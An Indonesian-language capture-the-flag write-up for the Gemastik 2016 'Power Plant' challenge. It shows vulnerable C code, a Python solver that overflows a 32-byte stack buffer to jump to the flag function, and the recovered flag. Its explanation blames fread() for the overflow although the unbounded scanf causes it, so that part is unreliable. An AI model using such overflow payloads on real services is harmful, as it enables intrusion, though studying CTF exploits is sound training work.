Gemastik Quals 2016 Power Plant (150 Points)
Masalah
Diberikan dua buah file, powerPlant2 dan powerplant2.c
serta layanan yang
dapat diakses melalui nc 103.43.46.178 13341
.
Isi powerplant2.c
.
#include <stdio.h>
#include <stdlib.h>
int is_access_code_correct(char input[32]) {
FILE *db;
char access_code[64];
db = fopen("PowerPlant.db", "r");
fread(&access_code, 1, 64, db);
fclose(db);
if (strcmp(input, access_code) == 0) {
return 1;
}
return 0;
}
void enter_power_plant_system() {
FILE *fp;
char flag[64];
fp = fopen("PowerPlant2.flag", "r");
fread(&flag, 1, 64, fp);
fclose(fp);
printf(" %s\n\n", flag);
}
int main() {
printf("\n");
printf(" __ ________ _ _____ ____ __ __ ______ ,/\n");
printf(" \\ \\ / / ____| | / ____/ __ \\| \\/ | ____| ,'/\n");
printf(" \\ \\ /\\ / /| |__ | | | | | | | | \\ / | |__ ,' /\n");
printf(" \\ \\/ \\/ / | __| | | | | | | | | |\\/| | __| ,' /_____,\n");
printf(" \\ /\\ / | |____| |___| |___| |__| | | | | |____ .'____ ,' \n");
printf(" \\/ \\/ |______|______\\_____\\____/|_| |_|______| / ,'\n");
printf(" / ,'\n");
printf(" ===================================================== /,'\n");
printf(" - Power Plant Control System v2.0 - /'\n");
printf("\n\n\n");
printf(" SECRET ACCESS CODE : ");
char input[32];
scanf("%s", input);
printf("\n\n");
if (is_access_code_correct(input)) {
printf(" ACCESS GRANTED\n\n");
enter_power_plant_system();
} else {
printf(" ACCESS DENIED\n\n");
}
return 0;
}
Penyelesaian
Binary yang diberikan ternyata berbeda. Jika melakukan debugging secara lok
al, anda tidak dapat mengendalikan register RIP
.
Sebaiknya langsung mengirim payload ke server.
Kelemahan yang ada sebenarnya ada pada fungsi fread()
yang tidak bisa menahan
serangan buffer overflow yang dapat menyebabkan pemanggilan fungsi yang tida
k diinginkan, salah satunya enter_power_plant_system()
.
Fungsi tersebut beralamatkan di 0x4007ba
, anda dapat memeriksanya dengan peri
ntah:
$ nm powerPlant2
Untuk menyelesaikannya, gunakan solver.py
.
Isi solver.py
.
import socket
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('103.43.46.178',13341))
p = 'A' * 40
p += struct.pack('<Q', 0x4007ba)
s.send(p + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
Anda akan mendapatkan flag ini.
GEMASTIK{_all_your_st4ck_b3l0ng_to_us__________}